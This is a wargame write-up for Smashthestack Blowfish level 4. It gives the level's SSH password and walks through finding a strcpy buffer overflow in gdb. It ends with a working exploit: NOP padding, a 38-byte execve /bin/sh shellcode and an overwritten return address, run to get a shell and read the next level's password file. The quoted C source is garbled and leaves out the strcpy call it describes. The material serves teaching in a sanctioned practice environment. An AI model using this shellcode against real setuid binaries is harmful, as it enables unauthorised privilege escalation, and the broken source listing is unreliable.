Smashthestack Blowfish Level 04

To enter this level we have to ssh with password n3xt_l3v3l!:

$ssh -p2222
password: n3xt_l3v3l!

 1. Thou shalt NOT root or otherwise harm the box.
     2. Thou shalt NOT access any other network from this box.
     3. Thou shalt NOT use any other directory besides /tmp or /code for code. 
     4. Thou shalt give the root pass to l3thal if you manage to change it.

     Passwords are in /pass.
     There is a README in each users home directory.
     /tmp && /var/tmp will be flushed daily by cron.
     Use /code plz for umm, code ;D
     IF YOU LEAVE FILES IN /levels/tmp U SUCK ..plz remove them kthnx! ;D
     The password for the last level will get you into
     Tux, the more advanced wargame. Join #blowfish on with any questions. 

     Admins - l3thal && cr 


Last login: Thu Jan 28 16:08:31 2010 from

 There is a buffer overflow in /levels/level4 
 exploit it and move on to the next level!

 Here's a tutorial i wrote just for this level:


 Have fun!!

So we have to exploit a buffer-overflow.

Analyzing the source code

We find that the content of /levels/level4.c is

#include <stdio.h>
int main(int argc, char * argv[]) {
    char buf[256];
    if(argc == 1) {
        printf("Usage: %s input\n", argv[0]);
    printf("%s", buf);

The exploitable point in this binary is the strcpy function, that only ends when the end of the input is found,
so it overwrites what is next to buf.

So now that we know where the exploitable point is, now we need to analyze the binary so we find the exact point.

Analyzing the binary with gdb

We open the binary with gdb:

level4@blowfish:/$ gdb /levels/level4 
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...

I set the assembly language as Intel's one:

(gdb) set disassembly-flavor intel

Discovering buf's address

Now we disassemble the main to look the point where the strcpy is located:

(gdb) disass main
Dump of assembler code for function main:
0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    sub    esp,0x118
0x080483fd <main+9>:    and    esp,0xfffffff0
0x08048400 <main+12>:    mov    eax,0x0
0x08048405 <main+17>:    sub    esp,eax
0x08048407 <main+19>:    cmp    DWORD PTR [ebp+0x8],0x1
0x0804840b <main+23>:    jne    0x804842e <main+58>
0x0804840d <main+25>:    mov    eax,DWORD PTR [ebp+0xc]
0x08048410 <main+28>:    mov    eax,DWORD PTR [eax]
0x08048412 <main+30>:    mov    DWORD PTR [esp+0x4],eax
0x08048416 <main+34>:    mov    DWORD PTR [esp],0x8048574
0x0804841d <main+41>:    call   0x80482f8 <printf@plt>
0x08048422 <main+46>:    mov    DWORD PTR [esp],0x0
0x08048429 <main+53>:    call   0x8048308 <exit@plt>
0x0804842e <main+58>:    mov    eax,DWORD PTR [ebp+0xc]
0x08048431 <main+61>:    add    eax,0x4
0x08048434 <main+64>:    mov    eax,DWORD PTR [eax]
0x08048436 <main+66>:    mov    DWORD PTR [esp+0x4],eax
0x0804843a <main+70>:    lea    eax,[ebp-0x108]
0x08048440 <main+76>:    mov    DWORD PTR [esp],eax
0x08048443 <main+79>:    call   0x8048318 <strcpy@plt>
0x08048448 <main+84>:    lea    eax,[ebp-0x108]
0x0804844e <main+90>:    mov    DWORD PTR [esp+0x4],eax
0x08048452 <main+94>:    mov    DWORD PTR [esp],0x8048585
0x08048459 <main+101>:    call   0x80482f8 <printf@plt>
0x0804845e <main+106>:    leave  
0x0804845f <main+107>:    ret    
End of assembler dump.

You can see that the address 0x08048443 the strcpy function is called and that
in the register eax we have the address of buf. This is needed because there
is where we are going to locate the shell and we need to over-write the exit point of
the program to that point in order to get our shell executed.

So we set a breakpoint there:

(gdb) break *0x08048443
Breakpoint 1 at 0x8048443

Now we run the program with something as input, let's put \x90 bytes that in assembly
means no operation.

(gdb) r $(python -c "print '\x90'*260")
Starting program: /levels/level4 $(python -c "print '\x90'*260")

Breakpoint 1, 0x08048443 in main ()
(gdb) i r
eax            0xbfffd690    -1073752432
ecx            0x2    2
edx            0xbfffd7c0    -1073752128
ebx            0x578ff4    5738484
esp            0xbfffd680    0xbfffd680
ebp            0xbfffd798    0xbfffd798
esi            0x8048460    134513760
edi            0x8048330    134513456
eip            0x8048443    0x8048443 <main+79>
eflags         0x286    [ PF SF IF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

From there we can see that buf's address is 0xbfffd690.

Discover the main's return point

In order to accomplish that we start increasing the number of bytes inserted until we find that
there is a Segmentation fault because of modifying the return address we find the 90s in the address.
This happens when we insert 270 characters:

(gdb) r $(python -c "print '\x90'*270")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /levels/level4 $(python -c "print '\x90'*270")

Program received signal SIGSEGV, Segmentation fault.
0x00009090 in ?? ()

If we put 270 characters we overwrite the first 2 bytes of the return address so we need to put
268 characters with our shell and then the address of the shell(0xbfffd690).


From milworm we download a shellcode:


It's 38 bytes long.

It is recommended that we put the shell in the last part of the buf so we put 230(268-38) \x90 bytes as padding, then the shellcode and
the address of the buf afterwards. And we execute it:

(gdb) r $(python -c "print '\x90'*230 + '\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh' + '\x90\xd6\xff\xbf'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level4 $(python -c "print '\x90'*230 + '\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh' + '\x90\xd6\xff\xbf'")
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

We have shell, we did things right. Now we just have to do that outside gdb

Exploiting the binary

We run the binary with the same parameter we did in the gdb:

level4@blowfish:/$ /levels/level4 $(python -c "print '\x90'*230 + '\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh' + '\x90\xd6\xff\xbf'")

Now we just have to read the password:

sh-3.2$ cat /pass/level5 

Now we are ready to move on to the next level. Tutorial here.

Unless otherwise stated, the content of this page is licensed under Creative Commons Attribution-ShareAlike 3.0 License